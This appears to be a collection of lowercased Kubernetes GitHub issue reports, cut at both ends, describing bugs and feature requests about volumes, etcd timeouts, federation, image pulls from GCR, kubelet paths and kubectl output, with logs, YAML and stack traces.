signature of disk 1.\r    \r \r i think the device in the error message corresponds to the container, and the error message can be related to the problem, but i'm not sure.

when a  kubectl delete rc <name>  times out waiting for something, you see  timed out waiting for the condition  in the terminal without explanation of which condition.  seen at https://github.com/openshift/origin/issues/6568.

https://github.com/kubernetes/kubernetes/issues/29033 issuecomment-241055560  if the storage controller put a finalizer on the pv, then we could be relatively assured that nobody will delete the pv while a pvc is bound to it.  @kubernetes/sig-storage

today,i found a issue.when i deploy my pod using nfs volume,i noticed the pod's status is always containercreating. so i try to find the reason of this status. when i describe this pod, i notice a message \ timeout expired waiting for volumes to attach/mount for pod config-volume-test-pod. list of unattached/unmounted volumes= nfs \ . is it a problem？ i think if pod can't mount a volume,it should fail to be created and the cluster should notify user this failure.thanks\r

traffic shaping is currently disabled in kubenet when running with cri. we can enable it by passing pod sandbox annotation into network plugin.\r \r the current traffic shaping happens per pod per node, lack of global coordination. hence @dchen1107 suggest to remove it and pursue a better design. \r \r @kubernetes/sig-network @kubernetes/sig-node \r \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/162/  failed:  k8s.io  statefulset  slow   k8s.io  basic statefulset functionality should provide basic identity {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:149 expected error:     < errors.errorstring | 0xc420c47170>: {         s: \ unexpected hostname    and stateful pod name  pet-1  not equal\ ,     }     unexpected hostname    and stateful pod name  pet-1  not equal not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:1074

ever since the shared cache stuff, some functionality in schedulercache is unused.  \r \r we can remove it from the interface or make the functions panic, so that its clear their never used.\r \r cc @ravisantoshgudimetla to add details .\r

looks like cadvisor is having trouble getting metrics for /var/lib/kubelet when it is mounted as tmpfs.\r \r using centos 3.10.0-514.6.1.el7.x86_64\r \r kubelet\r    \r e0404 21:03:53.256303   17149 kubelet.go:1642  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : error trying to get filesystem device for dir /var/lib/kubelet: err: could not find device with major: 0, minor: 40 in cached partitions map\r    \r \r /proc/self/mountinfo\r    \r 122 62 0:40 / /var/lib/kubelet rw,noatime,nodiratime shared:71 - tmpfs tmpfs rw,seclabel\r    \r \r doesn't appear to be related to  38337 since major/minor numbers match up.

like  issue 36117  https://github.com/kubernetes/kubernetes/issues/36117 \r   after  deleted a deployment and its replicasets,i recreate the deployment,but i could not found any pods and its replicaset.  \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r  root@ys-2 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : vm\r -   os    e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r    \r linux ys-2 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r    \r -   install tools  :\r    \r kargo\r    \r -   others  :\r \r \r   what happened  :\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 1\ \r   creationtimestamp: 2017-04-07t11:02:35z\r   generation: 5\r   labels:\r     app: dex\r   name: dex\r   namespace: kube-system\r   resourceversion: \ 32952\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/dex\r   uid: b4a21bb2-1b81-11e7-a7af-0050569430d5\r spec:\r   progressdeadlineseconds: 600\r   replicas: 1\r   revisionhistorylimit: 5\r   selector:\r     matchlabels:\r       app: dex\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: dex\r     spec:\r       containers:\r       - command:\r         - /usr/local/bin/dex\r         - serve\r         - /etc/dex/cfg/config.yaml\r         image: quay.io/coreos/dex:v2.0.0\r         imagepullpolicy: ifnotpresent\r         name: dex\r         ports:\r         - containerport: 5556\r           name: https\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         volumemounts:\r         - mountpath: /etc/dex/cfg\r           name: config\r         - mountpath: /etc/dex/tls\r           name: tls\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - configmap:\r           defaultmode: 420\r           items:\r           - key: config.yaml\r             path: config.yaml\r           name: dex\r         name: config\r       - name: tls\r         secret:\r           defaultmode: 420\r           secretname: 10.233.0.1.tls\r status:\r   conditions:\r   - lasttransitiontime: 2017-04-07t13:58:46z\r     lastupdatetime: 2017-04-07t13:58:46z\r     message: found new replica set \ dex-3542908681\ \r     reason: foundnewreplicaset\r     status: \ true\ \r     type: progressing\r    \r \r and \r i cloud not found the replicaset  in kube-system\r \r   what you expected to happen  :\r \r replicaset and pods can be created\r \r \r \r

since we mark functions of clientset interface such as core  , autoscaling  .... as deprecated, should we change all the calling of core   to specific version like corev1   ... ?\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/client/clientset_generated/clientset/clientset.go\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r one of our etcd node had some networking issues that caused all writes to that node to time out for a minute or so.\r \r    \r jul 05 02:27:36      etcd2 1767 : got unexpected response error  etcdserver: request timed out   merged 52 repeated lines in 5.33s \r jul 05 02:27:36      etcd2 1767 : etcdserver: request timed out, possibly due to connection lost  merged 2 repeated lines in 5.33s \r    \r \r we see a bunch of extremely long node status update requests on the k8s api server that talks to the broken etcd node. \r \r    \r i0705 02:27:36.414234       1 trace.go:61  trace \ update /api/v1/nodes/    /status\   started 2017-07-05 02:27:06.412880726 +0000 utc :\r \t 51.454µs   51.454µs  about to convert to expected version\r \t 214.683µs   147.831µs  conversion done\r \t 227.295µs   3.469µs  about to store object in database\r \t 30.000636968s   30.000390408s  end\r    \r \r a lot of kubelet workers had issues updating their node status when they hit the bad api server due to request timeout  default 30s .\r \r    \r e0705 02:27:36.420298   21359 kubelet_node_status.go:302  error updating node status, will retry: timeout: request did not complete within allowed duration\r    \r \r controller set all of those nodes’ status to be unhealthy as it has not observed a status update from the those nodes due to the request timeout  default 40s .\r \r    \r i0705 02:26:27.503832       1 controller_utils.go:285  recording status change nodenotready event message for node     \r    \r \r the controller then moved on to removing all those nodes from the target pool of our l3lbs.\r due the number of node affected it had to update around 9 target pools which took around 3 minutes from 02:27:00 - 02:30:00.\r \r during this time all the node managed to successfully report their status and get recognised as ready again.\r \r    \r i0705 02:27:57.287101    4513 kubelet_node_status.go:358  recording nodeready event message for node     \r    \r \r those nodes are then added back into the l3lbs’ target pools by the controller but because there's only a single goroutine is setup  this is the default  to sync node state to lbs, it still hasn’t completed the jobs for removing those nodes from l3lbs targets. it took another 3 minutes to complete from 02:30:00 - 02:33:00, soon after it finished the previous removal requests.\r \r   what you expected to happen  :\r \r - request timeout to be way shorter than 30s for node status update as the default heartbeat interval is 10s.\r - controller to not update the cloud providers target pools if the node has become healthy before it updates the l3lb’s target pools to remove the node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - make a request k8s api server to timeout requests and observe the cascading failure.\r \r   environment  :\r \r kubernetes version  use  kubectl version  :\r \r    \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r cloud provider or hardware configuration  : google cloud platform\r os  e.g. from /etc/os-release : \r \r    \r $ cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1325.1.0\r version_id=1325.1.0\r build_id=2017-02-23-0035\r pretty_name=\ container linux by coreos 1325.1.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r \r kernel  e.g.  uname -a  : \r \r    \r linux <hostname> 4.9.9-coreos-r1  1 smp thu feb 23 00:27:53 utc 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r install tools:\r others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r when i attempt to  kubectl apply  a customresourcedefinition to a federation, i receive the following error:\r \r    error: unable to recognize \ resourcedefinition.yaml\ : no matches for apiextensions.k8s.io/, kind=customresourcedefinition   \r \r   what you expected to happen  :\r \r it would be nice if federations supported this resource type, so that we can run applications expecting it on top of federated clusters.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1  bring up a federated cluster\r 2  create a  resourcedefinition.yaml  file  e.g. https://kubernetes.io/docs/tasks/access-kubernetes-api/extend-api-custom-resource-definitions/ \r 2  run  kubectl apply -f resourcedefinition.yaml  against the federated cluster\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.6\r - cloud provider or hardware configuration: gke 1.7.6-gke.1\r - os  e.g. from /etc/os-release : debian stretch\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  : after https://github.com/kubernetes/kubernetes/pull/55353 + related changes to anago, the version information is no longer included in the  kubernetes-src.tar.gz  source tarball produced by  build/lib/release.sh  in releases.\r \r the source tarball from github  which uses  git archive   is correct, since https://github.com/kubernetes/kubernetes/pull/55353 was designed for that scenario.\r \r /assign\r /cc @david-mcmahon \r 

noticing this is in our gce 5k-node cluster tests. it has been continuously failing for 4 runs now already:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/37\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/38  and 39 and 40 \r \r the e2e test concerned is - volume plugin streaming  slow  nfs should write files of various sizes, verify size, validate content\r and it is failing due to:\r \r    \r size of file /opt/nfs/e2e-tests-volume-io-l6qlm/nfs_io_test-1073741824 is 891265024, expected 1073741824\r not to have occurred\r    \r \r cc @kubernetes/sig-storage-bugs @kubernetes/sig-scalability-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r i installed kubefed init and tried the following two ways ...\r \r 1. sudo kubefed init fellowship --host-cluster-context=kubernetes-admin@kubernetes --dns-provider=\ google-clouddns\  --dns-zone-name=\ example1.com.\  --etcd-persistent-storage=false --api-server-service-type=\ nodeport\ \r the federation api comes up but attempt to login fails at the browser....\r \r error at apiserver login:\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ unauthorized\ ,\r   \ reason\ : \ unauthorized\ ,\r   \ code\ : 401\r }\r \r the second option i tried was\r \r \r 2. sudo kubefed init fellowship --host-cluster-context=kubernetes-admin@kubernetes --dns-provider=\ google-clouddns\  --dns-zone-name=\ example1.com.\  --etcd-persistent-storage=false --api-server-service-type=\ nodeport\   --api-server-advertise-address=\ 10.128.0.22\  --apiserver-enable-basic-auth=true --apiserver-enable-token-auth=true --apiserver-arg-overrides=\ --anonymous-auth=false,--v=4\  --controllermanager-arg-overrides=\ --controllers=services=false\ \r \r here the login pop-up come up but i cant login.  \r what is the login here , i tried kubectl config view and got the encode credentials  apparently it is using fellowship-basic-auth  which when i input with \ admin\  login and it gets me an api view...\r should i expect to see an dashboard of some sorts ?\r \r   what you expected to happen  :\r api-dashboard of some sorts....\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r pls follow step 1 / step 2 above\r \r   anything else we need to know?  :\r federation api is coming up..it is just that it is using a default access which i am not able to access in step2 listed above...\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r gcp compute engine\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux instance-18-kubefed 4.13.0-26-generic  29~16.04.2-ubuntu smp tue jan 9 22:00:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:kubefed init\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r after upgrading from  1.7.7  the api server latency for  post  has gone up.\r  histogram_quantile 0.99, sum apiserver_request_latencies_bucket{subresource!=\ log\ ,verb!~\ connect|watchlist|watch|proxy\ }  without  instance, resource   / 1000000 > 1 \r \r  \r {job=\ kubernetes-apiservers\ ,scope=\ cluster\ ,verb=\ post\ } | 6.30666666666664\r  \r    \r i0130 14:39:08.768922       7 wrap.go:42  post /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings:  6.348872ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:40:09.463910       7 wrap.go:42  post /api/v1/namespaces/kube-system/serviceaccounts:  6.954807ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:40:09.470983       7 wrap.go:42  post /api/v1/namespaces/kube-system/serviceaccounts:  6.420996ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:40:09.478187       7 wrap.go:42  post /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings:  6.561938ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:41:09.740432       7 wrap.go:42  post /api/v1/namespaces/kube-system/serviceaccounts:  6.648037ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:41:09.759723       7 wrap.go:42  post /api/v1/namespaces/kube-system/serviceaccounts:  18.477636ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:41:09.767937       7 wrap.go:42  post /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings:  7.447117ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:42:10.078397       7 wrap.go:42  post /api/v1/namespaces/kube-system/serviceaccounts:  6.316091ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:42:10.085555       7 wrap.go:42  post /api/v1/namespaces/kube-system/serviceaccounts:  6.400554ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r i0130 14:42:10.093256       7 wrap.go:42  post /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings:  7.050314ms  409   protokube/v1.8.1  linux/amd64  kubernetes/$format  127.0.0.1:45574 \r    \r \r \r   what you expected to happen  :\r the  post  latency should not be this high.\r \r   how to reproduce it  as minimally and precisely as possible   :\r afaik upgrading  k8s  release in  aws  from  1.7.7  to  1.8.6  with  rbac \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-16t03:16:50z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration:  aws \r - os  e.g. from /etc/os-release :  ubuntu \r - kernel  e.g.  uname -a  :  linux ip-172-20-117-22 4.4.0-1048-aws  57-ubuntu smp tue jan 9 21:45:57 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

\r w0131 01:55:36.939    k8s.io/kubernetes/pkg/kubelet/dockershim\r w0131 01:55:36.940  pkg/kubelet/dockershim/helpers_windows.go:52:3: undefined: modifyhostnetworkoptionforcontainer\r    \r \r https://github.com/kubernetes/kubernetes/pull/58174\r https://k8s-testgrid.appspot.com/sig-release-misc cross-build&graph-metrics=test-duration-minutes\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/4469\r \r ---\r cc: @kubernetes/sig-node-bugs @kubernetes/sig-node-test-failures @filbranden @random-liu @vishh\r  /

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r   what happened  :\r i am trying  to deploy an app which the image is saved in the google container registry, but i am getting the following error:\r \r  warning  failed                 11s               kubelet, gke-cluster-1-default-pool-32ed223c-0vsv  failed to pull image \ gcr.io/potent-zodiac-172621/teste-app:latest\ :  rpc error: code = unknown desc = error response from daemon: get https://gcr.io/v2/potent-zodiac-172621/teste-app/manifests/latest: unknown: unable to parse json key., rpc error: code = unknown desc = error pulling image configuration: error parsing http 400 response body: invalid character '<' looking for beginning of value: \ <?xml version='1.0' encoding='utf-8'?><error><code>userprojectmissing</code><message>bucket is a requester pays bucket but no user project provided.</message></error>\   \r \r \r \r   what you expected to happen  :\r i expect that my google k8s instance could access my private repositories in gcr.io, but it doen't happened.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the were the steps i followed:\r \r - i built and pushed the app in gcr.io as a private repository\r \r - create an service account by running the following script:\r    \r   create a gcp service account; format of account is email address\r sa_email=$ gcloud iam service-accounts --format='value email ' create k8s-gcr-auth-ro \r   create the json key file and associate it with the service account\r gcloud iam service-accounts keys create k8s-gcr-auth-ro.json --iam-account=$sa_email\r   get the project id\r project=$ gcloud config list core/project --format='value core.project ' \r   add the iam policy binding for the defined project and service account\r gcloud projects add-iam-policy-binding $project --member serviceaccount:$sa_email --role roles/storage.objectviewer\r    \r \r -  i've created the secret by running it:\r \r    \r secretname=grcio-credentials\r \r kubectl create secret docker-registry $secretname \\\r   --docker-server=https://gcr.io \\\r   --docker-username=_json_key \\\r   --docker-email=user@example.com \\\r   --docker-password=\ $ cat k8s-gcr-auth-ro.json \ \r    \r \r - after that, i added  imagepullsecrets  in my deployment file as you can see below:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: web-app\r   labels:\r     app: web-app\r spec:\r   template:\r     metadata:\r       labels:\r         app: web-app\r     spec:\r       containers:\r         - name: app\r           image: gcr.io/potent-zodiac-172621/teste-app:latest\r           ports:\r             - containerport: 80\r           env:\r             - name: db_host\r               value: 127.0.0.1:3306\r             - name: db_user\r               valuefrom:\r                 secretkeyref:\r                   name: cloudsql-db-credentials\r                   key: username\r             - name: db_password\r               valuefrom:\r                 secretkeyref:\r                   name: cloudsql-db-credentials\r                   key: password\r             - name: db_database\r               value: admin_teste\r         - name: cloudsql-proxy\r           image: gcr.io/cloudsql-docker/gce-proxy:1.11\r           command:  \ /cloud_sql_proxy\ ,\r                     \ -instances=potent-zodiac-172621:southamerica-east1:teste-instance=tcp:3306\ ,\r                     \ -credential_file=/secrets/cloudsql/credentials.json\  \r           volumemounts:\r             - name: cloudsql-instance-credentials\r               mountpath: /secrets/cloudsql\r               readonly: true\r       volumes:\r         - name: cloudsql-instance-credentials\r           secret:\r             secretname: cloudsql-instance-credentials\r       imagepullsecrets:\r         - name: gcrio-credentials\r    \r \r - then i performed a  kubectl create -f  using the yaml file above.\r \r then pod keep stucked in  imagepullbackoff  because it can pull my private image.\r \r \r   anything else we need to know?  :\r - both k8s and gcr  are in the same project.\r - i didn't find nothing about pulling private images in the gke, it looks like once both are in the same project, it should works automatically.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.1 \r - cloud provider or hardware configuration:  gce \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm trying to run kubelet in an environment where  /var/lib  is read-only. i'm able to move most of kubelet's data out of  /var/lib/kubelet  by using the  --root-dir  option, but there does not seem to be a way to do the same for the data in  /var/lib/kubelet/device-plugins/ .\r \r   what you expected to happen  :\r \r either the  device-plugins/  folder should move along with the rest of kubelet's data when  --root-dir  is set, or there should be some other way to configure the device-plugins directory.\r \r   anything else we need to know?  :\r \r the goal is to be able to run kubelet within a strictly-confined snap package so that it can run on ubuntu core. the  /var/lib  directory is mounted read-only in this environment, so there doesn't seem to be a good way to work around this issue without making the device-plugins path configurable in some way.\r \r i think the hard-coded path in kubelet is here: https://github.com/kubernetes/kubernetes/blob/426ef9d349bb3a277c3e8826fb772b6bdb008382/pkg/kubelet/apis/deviceplugin/v1beta1/constants.go l30\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: aws / ec2\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  :  4.4.0-1065-aws  75-ubuntu \r - install tools: juju\r

i noticed that some of our containers actually had docker labels for  io.kubernetes.container.name  and  io.kubernetes.pod.data  but most didn't. the  io.kubernetes.container.name  is actually a nice label since it gives us an easy way in our monitoring  which doesn't support k8s labels  to see all containers of a certain type  all appx or appy . i  looked up the code  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/manager.go l677  for it and those labels only get set if the pod has lifecycle events.  for us at least it would be useful if we could use these labels. it also just seems more consistent for pods to get the same docker labels rather than just on pods with lifecycle events and i can't readily think of a downside.

extracted from https://github.com/kubernetes/kubernetes/pull/20093 issuecomment-175490502  the rawextension type allows an api object to inline arbitrary json. strategicpatch.createtwowaymergepatch returns an error trying to map that inlined json to struct fields. it should be able to compute a patch for an object containing a field of that type.

the  kubernetes user guide: managing applications  http://kubernetes.io/v1.1/docs/user-guide/readme.html  describes kubernetes concepts but does not include claims.   it would be beneficial to describe a  _claim  _for multiple reasons.  > claims, like pods, can request specific quantities of a resource.claims are used as volumes in pods. kubernetes uses the claim to look up its bound pv. claims must be created in the same namespace as the pods that use them.  its important to have some context when dealing with storage for example.

possible that kube-proxy isn't running on masters in some configurations. this would mean you can't hit the  api/v1/proxy/nodes/kubernetes-master/configz  to get the master kubelet's configuration, among other things.

i was confused by the  kubectl version  that looks like more as machine readable rather than as human readable.\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\ , gitcommit:\ a845e3e936e91cd14c4c5b462631233716d5839b\ , gittreestate:\ dirty\ , builddate:\ 2017-03-27t14:04:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\ , gitcommit:\ a845e3e936e91cd14c4c5b462631233716d5839b\ , gittreestate:\ dirty\ , builddate:\ 2017-03-27t14:04:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r i feel that ux could be better if it will be written in multiple lines and without curly braces/quotes:\r    \r client version: 1.7+\r     git version: v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\r     git commit: a845e3e936e91c\r     build date: 2017-03-27t14:04:25z\r     go version: go1.7.4\r     platform: linux/amd64\r \r server version: 1.7+\r     git version: v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\r     git commit: a845e3e936e91c\r     build date: 2017-03-27t14:04:25z\r     go version: go1.7.4\r     platform: linux/amd64\r

use of the client-go event recorder is calling into newnotregisterederrfortype   on every response from the server, which i would not expect.  not a huge number of allocations, but at least on first inspection i would not expect to get this on a decode into.\r \r kube 1.6, but may still happen in 1.7.\r \r    \r goroutine 529  running :\r runtime/debug.stack 0x8aad100, 0xc428f31600, 0x16 \r \t/usr/local/cellar/go/1.7.5/libexec/src/runtime/debug/stack.go:24 +0x79\r runtime/debug.printstack  \r \t/usr/local/cellar/go/1.7.5/libexec/src/runtime/debug/stack.go:16 +0x22\r github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime.newnotregisterederrfortype 0xdbc7060, 0x89ab1e0, 0xc42d415730, 0xf866dc0 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/error.go:39 +0x26\r github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime.  scheme .objectkinds 0xc42020e9c0, 0xdb59d00, 0xc428f31600, 0xc428f40310, 0x2, 0xc428f40312, 0x5, 0x0, 0x0 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/scheme.go:246 +0x1c1\r github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/serializer/protobuf.  serializer .decode 0xc420222a50, 0xc428f3e600, 0x22b, 0x600, 0x0, 0xdb59d00, 0xc428f31600, 0xc42c848c30, 0x0, 0x0, ... \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/serializer/protobuf/protobuf.go:136 +0xd53\r github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/serializer/versioning.directdecoder.decode 0xfb252e8, 0xc420222a50, 0xc428f3e600, 0x22b, 0x600, 0x0, 0xdb59d00, 0xc428f31600, 0xc42d415ac0, 0x0, ... \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/serializer/versioning/versioning.go:266 +0x97\r github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/runtime/serializer/versioning.  directdecoder .decode 0xc422185130, 0xc428f3e600, 0x22b, 0x600, 0x0, 0xdb59d00, 0xc428f31600, 0xdb6da00, 0xc422185130, 0x0, ... \r \t<autogenerated>:1 +0xad\r github.com/openshift/origin/vendor/k8s.io/client-go/rest.result.into 0xc428f3e600, 0x22b, 0x600, 0xc421b084b0, 0x23, 0x0, 0x0, 0xc8, 0xdb6da00, 0xc422185130, ... \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/rest/request.go:1152 +0xad\r github.com/openshift/origin/vendor/k8s.io/client-go/kubernetes/typed/core/v1.  events .patchwitheventnamespace 0xc4213c3c80, 0xc428f30e00, 0xc42bd5cf44, 0x33, 0x40, 0xb6dbf12, 0xc41fb86a15, 0x0 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/kubernetes/typed/core/v1/event_expansion.go:94 +0x386\r github.com/openshift/origin/vendor/k8s.io/client-go/kubernetes/typed/core/v1.  eventsinkimpl .patch 0xc422185810, 0xc428f30e00, 0xc42bd5cf44, 